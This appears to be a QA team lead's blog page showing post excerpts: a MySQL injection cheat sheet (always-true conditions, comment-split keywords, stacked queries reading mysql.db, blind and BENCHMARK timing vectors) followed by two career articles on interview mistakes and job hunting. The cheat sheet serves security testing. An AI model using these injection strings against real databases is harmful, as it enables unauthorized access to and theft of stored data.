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Hi Guys,

This is Priyadarshan Mohanty, working as a QA Team Lead at Mindfire Solutions

I believe in live strong and be strong in your field that you are working for. It may seem difficult at some point of time due to the changing world but wont really be so hard to figure things out which are good.

All is intended for the growth of a good and healthy professional career for folks around the globe.

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Examples MYSQL injections

MySQL Injection Cheat Sheet Basics. SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" Variations. SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%" SHOW TABLES SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db; Blind injection vectors. Operators SELECT 1 && 1; SELECT 1 || 1; SELECT 1 XOR 0; Evaluate all render TRUE or 1. SELECT 0.1 <= 2; SELECT 2 >= 2; SELECT ISNULL(1/0); Math SELECT FLOOR(7 + ( RAND () * 5)); SELECT ROUND(23.298, -1); Misc SELECT LENGTH(COMPRESS(REPEAT('a',1000))); SELECT MD5('abc'); Benchmark SELECT BENCHMARK(10000000,ENCODE('abc','123')); ...

oops…you did it again and again

No matter how reliable the candidate looks on paper, he/she needs to do deliver at the interview stage. Hiring managers share some of the most unforgettable blunders made by candidates and suggest preventive measures to avoid such goof-ups. Viren Naidu A job interview is indeed a place where even a small slip can go a long way. Candidates need to be alert and well prepared before a job interview, so that they can project a complete, holistic picture of their qualifications, as well as strike a chord with the interviewer. In some instances, a candidate may be, otherwise, well suited for the job role, but small character traits and behavioural glitches may land him/her in a tough spot, and the offer may, in turn, be withdrawn. Here are some of the common mistakes candidates make and ways in which you can avoid them: 1) Harpreet Kaur, Sr. general manager & head – human resources, Godrej & Boyce Mfg. Co. Ltd: Mistake 1: The candidate has the tendency to give the impression that he/...

Candidates call out for the best!

IN THE WAKE OF THE CURRENT FINANCIAL DOWNTURN, POTENTIAL CANDIDATES NEED TO MAXIMISE THEIR CHANCES TO GET THE BEST JOB AND EMPLOYERS TO GET THE BEST TALENT Now more than ever, companies are becoming extremely selective when evaluating potential candidates. They are keen to test as many candidates before making an offer to ensure they get the best and most deserving. “Not only are companies becoming more selective, but with many more people looking for jobs, the competition is fierce,” opines Naveen Manjunath, managing director, Professional Aptitude Council (PAC) India. “The key is to find ways to stand-out from the crowd,” - Naveen Manjunath, managing director, Professional Aptitude Council (PAC) India Differentiate to gain… Potential candidates need to understand that most people look very similar on their resume, so the key is to differentiate themselves. For example, candidates should look for opportunities to lead groups in their community, mentor young people in their community, ...

PD MOHANTY

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